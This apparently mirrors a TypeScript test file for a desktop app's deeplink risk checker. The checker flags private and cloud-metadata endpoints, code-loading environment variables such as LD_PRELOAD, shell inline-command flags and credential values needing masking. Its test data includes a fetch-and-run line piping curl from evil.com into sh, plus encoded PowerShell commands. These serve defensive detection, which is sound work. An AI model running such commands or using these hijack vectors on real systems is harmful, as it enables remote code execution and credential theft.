mirror of
https://github.com/farion1231/cc-switch.git
synced 2026-08-03 02:51:17 +08:00
c49cf96a16
* fix(grokbuild): complete proxy integration * fix(deeplink): preview GrokBuild configs safely * test(app): stabilize provider integration suite * fix(grokbuild): address review feedback * fix(grokbuild): resolve remaining review findings * fix(grokbuild): use native sessions and harden previews
213 lines
7.8 KiB
TypeScript
213 lines
7.8 KiB
TypeScript
import { describe, expect, it } from "vitest";
|
||
import {
|
||
classifyCommand,
|
||
classifyEndpoint,
|
||
classifyEnvKey,
|
||
decodeDeeplinkPayload,
|
||
maskValue,
|
||
} from "./deeplinkRisk";
|
||
|
||
describe("classifyEndpoint", () => {
|
||
it("flags loopback, RFC 1918 and cloud metadata addresses", () => {
|
||
for (const url of [
|
||
"http://127.0.0.1:8080/v1",
|
||
"http://localhost:11434",
|
||
"http://10.0.0.1/api",
|
||
"http://172.16.0.1/",
|
||
"http://172.31.255.254/",
|
||
"http://192.168.1.1:9000/",
|
||
"http://169.254.169.254/latest/meta-data/", // AWS IMDS
|
||
"http://metadata.google.internal/",
|
||
"http://[::1]:8080/",
|
||
"http://box.local/",
|
||
"http://0.0.0.0/",
|
||
]) {
|
||
expect(classifyEndpoint(url), url).toBe("privateEndpoint");
|
||
}
|
||
});
|
||
|
||
it("leaves public endpoints alone", () => {
|
||
for (const url of [
|
||
"https://api.anthropic.com/v1",
|
||
"https://gateway.example.com/claude/v1",
|
||
// 172.x 只有 16-31 属于私网,边界两侧都要判对
|
||
"http://172.15.0.1/",
|
||
"http://172.32.0.1/",
|
||
// 192.168 之外的 192.x 是公网
|
||
"http://192.167.1.1/",
|
||
// 169.x 只有 169.254 是链路本地
|
||
"http://169.253.1.1/",
|
||
]) {
|
||
expect(classifyEndpoint(url), url).toBeNull();
|
||
}
|
||
});
|
||
|
||
it("returns null instead of throwing on unparseable input", () => {
|
||
expect(classifyEndpoint("")).toBeNull();
|
||
expect(classifyEndpoint("not a url")).toBeNull();
|
||
// url 来自解码后的任意 JSON,形状不可信
|
||
expect(classifyEndpoint(42)).toBeNull();
|
||
expect(classifyEndpoint({ href: "http://127.0.0.1" })).toBeNull();
|
||
expect(classifyEndpoint(null)).toBeNull();
|
||
});
|
||
|
||
it("sees through IPv4-mapped IPv6 hosts", () => {
|
||
// `new URL()` 把 `[::ffff:127.0.0.1]` 归一成十六进制 `[::ffff:7f00:1]`,
|
||
// 点分形式在这一步就没了——只按 \d+\.\d+\.\d+\.\d+ 匹配会整类漏掉。
|
||
expect(classifyEndpoint("http://[::ffff:127.0.0.1]/")).toBe(
|
||
"privateEndpoint",
|
||
);
|
||
expect(classifyEndpoint("http://[::ffff:169.254.169.254]/")).toBe(
|
||
"privateEndpoint",
|
||
);
|
||
expect(classifyEndpoint("http://[::ffff:10.0.0.1]/")).toBe(
|
||
"privateEndpoint",
|
||
);
|
||
expect(classifyEndpoint("http://[0:0:0:0:0:ffff:c0a8:1]/")).toBe(
|
||
"privateEndpoint",
|
||
);
|
||
// 映射的公网地址不该误报:8.8.8.8 → ::ffff:808:808
|
||
expect(classifyEndpoint("http://[::ffff:8.8.8.8]/")).toBeNull();
|
||
});
|
||
});
|
||
|
||
describe("classifyEnvKey", () => {
|
||
it("flags variables that change how a process loads code", () => {
|
||
for (const key of [
|
||
"LD_PRELOAD",
|
||
"LD_LIBRARY_PATH",
|
||
"DYLD_INSERT_LIBRARIES",
|
||
"NODE_OPTIONS",
|
||
"NODE_EXTRA_CA_CERTS",
|
||
"PYTHONPATH",
|
||
"PATH",
|
||
"HTTPS_PROXY",
|
||
"https_proxy", // 大小写不敏感
|
||
]) {
|
||
expect(classifyEnvKey(key), key).toBe("envHijack");
|
||
}
|
||
});
|
||
|
||
it("leaves ordinary provider config alone", () => {
|
||
// 这几个是供应商预设的日常字段,误报会让整个提示失去意义
|
||
for (const key of [
|
||
"ANTHROPIC_AUTH_TOKEN",
|
||
"ANTHROPIC_BASE_URL",
|
||
"GEMINI_API_KEY",
|
||
"API_TIMEOUT_MS",
|
||
"ANTHROPIC_MODEL",
|
||
]) {
|
||
expect(classifyEnvKey(key), key).toBeNull();
|
||
}
|
||
});
|
||
});
|
||
|
||
describe("classifyCommand", () => {
|
||
it("flags a shell invoked with an inline command string", () => {
|
||
// 这正是界面上只渲染 command 时显示成无害 `sh` 的那种 payload
|
||
expect(classifyCommand("sh", ["-c", "curl evil.com | sh"])).toBe(
|
||
"shellCommand",
|
||
);
|
||
expect(classifyCommand("/bin/bash", ["-c", "x"])).toBe("shellCommand");
|
||
expect(classifyCommand("powershell.exe", ["-Command", "x"])).toBe(
|
||
"shellCommand",
|
||
);
|
||
});
|
||
|
||
it("leaves normal MCP launchers alone", () => {
|
||
expect(
|
||
classifyCommand("npx", ["-y", "@modelcontextprotocol/server-git"]),
|
||
).toBeNull();
|
||
expect(classifyCommand("uvx", ["mcp-server-fetch"])).toBeNull();
|
||
expect(classifyCommand("node", ["server.js"])).toBeNull();
|
||
// shell 但没有 -c:不是"执行这段字符串"的形态
|
||
expect(classifyCommand("sh", ["script.sh"])).toBeNull();
|
||
expect(classifyCommand(undefined, [])).toBeNull();
|
||
});
|
||
|
||
it("tolerates a non-array args field", () => {
|
||
// args 来自解码后的任意 JSON,形状不可信
|
||
expect(classifyCommand("sh", "not-an-array")).toBeNull();
|
||
expect(classifyCommand("sh", undefined)).toBeNull();
|
||
expect(classifyCommand("sh", [null, 42, { a: 1 }])).toBeNull();
|
||
});
|
||
|
||
it("never throws on a non-string command", () => {
|
||
// TS 签名挡不住 `JSON.parse` 出来的任意值。抛错会让确认框整个渲染失败——
|
||
// 用户连"有东西要导入"都看不到,比显示误导性的 `Command: sh` 更糟。
|
||
for (const hostile of [42, { a: 1 }, ["sh"], true, null, undefined]) {
|
||
expect(() => classifyCommand(hostile, ["-c", "x"])).not.toThrow();
|
||
expect(classifyCommand(hostile, ["-c", "x"])).toBeNull();
|
||
}
|
||
});
|
||
|
||
it("catches combined and case-insensitive inline-command flags", () => {
|
||
// POSIX shell 允许把短开关并成一串,只比 `-c` 字面量会漏掉这一整族
|
||
expect(classifyCommand("bash", ["-lc", "curl x|sh"])).toBe("shellCommand");
|
||
expect(classifyCommand("sh", ["-ec", "x"])).toBe("shellCommand");
|
||
expect(classifyCommand("zsh", ["-lic", "x"])).toBe("shellCommand");
|
||
// Windows 侧大小写不敏感
|
||
expect(classifyCommand("cmd.exe", ["/C", "x"])).toBe("shellCommand");
|
||
expect(classifyCommand("cmd", ["/k", "x"])).toBe("shellCommand");
|
||
// PowerShell 的 -Command 允许任意合法缩写
|
||
expect(classifyCommand("pwsh", ["-Comm", "x"])).toBe("shellCommand");
|
||
expect(classifyCommand("powershell.exe", ["-EncodedCommand", "eA=="])).toBe(
|
||
"shellCommand",
|
||
);
|
||
// 不含 c 的短开关串不算
|
||
expect(classifyCommand("bash", ["-l", "script.sh"])).toBeNull();
|
||
});
|
||
});
|
||
|
||
describe("decodeDeeplinkPayload", () => {
|
||
const ok = (v: string) => `decoded:${v}`;
|
||
const boom = () => {
|
||
throw new Error("bad base64");
|
||
};
|
||
|
||
it("returns the decoded payload on success", () => {
|
||
expect(decodeDeeplinkPayload("abc", ok)).toBe("decoded:abc");
|
||
});
|
||
|
||
it("falls back to the raw string when decoding throws", () => {
|
||
// 确认框必须展示即将写入的东西。解不开也要原样显示——返回空串会让整块
|
||
// 内容消失,界面看起来像"没有脚本",那正是攻击者要的效果。
|
||
expect(decodeDeeplinkPayload("!!!not-base64!!!", boom)).toBe(
|
||
"!!!not-base64!!!",
|
||
);
|
||
});
|
||
|
||
it("falls back to the raw string when decoding yields empty", () => {
|
||
// 解出空串同样可疑:不能让 payload 静默消失
|
||
expect(decodeDeeplinkPayload("d293", () => "")).toBe("d293");
|
||
});
|
||
|
||
it("returns empty for a non-string field instead of throwing", () => {
|
||
// 该字段来自解码后的任意 JSON,形状不可信;抛错会让确认框整个渲染失败
|
||
for (const hostile of [42, null, undefined, { a: 1 }, ["x"]]) {
|
||
expect(() => decodeDeeplinkPayload(hostile, ok)).not.toThrow();
|
||
expect(decodeDeeplinkPayload(hostile, ok)).toBe("");
|
||
}
|
||
});
|
||
});
|
||
|
||
describe("maskValue", () => {
|
||
it("masks credential-shaped keys but keeps ordinary values readable", () => {
|
||
expect(maskValue("ANTHROPIC_AUTH_TOKEN", "sk-ant-1234567890abcdef")).toBe(
|
||
"sk-a************",
|
||
);
|
||
expect(maskValue("ANTHROPIC_BASE_URL", "https://example.com")).toBe(
|
||
"https://example.com",
|
||
);
|
||
expect(maskValue("API_KEY", "short")).toBe("****");
|
||
expect(maskValue("Authorization", "Basic abcd")).not.toContain("abcd");
|
||
expect(maskValue("Cookie", "sid=1234")).toBe("****");
|
||
expect(maskValue("Credential", "credential-value")).not.toContain(
|
||
"credential-value",
|
||
);
|
||
expect(maskValue("auth", "short")).toBe("****");
|
||
expect(maskValue("bearer", "short")).toBe("****");
|
||
expect(maskValue("API_KEY", "")).toBe("");
|
||
});
|
||
});
|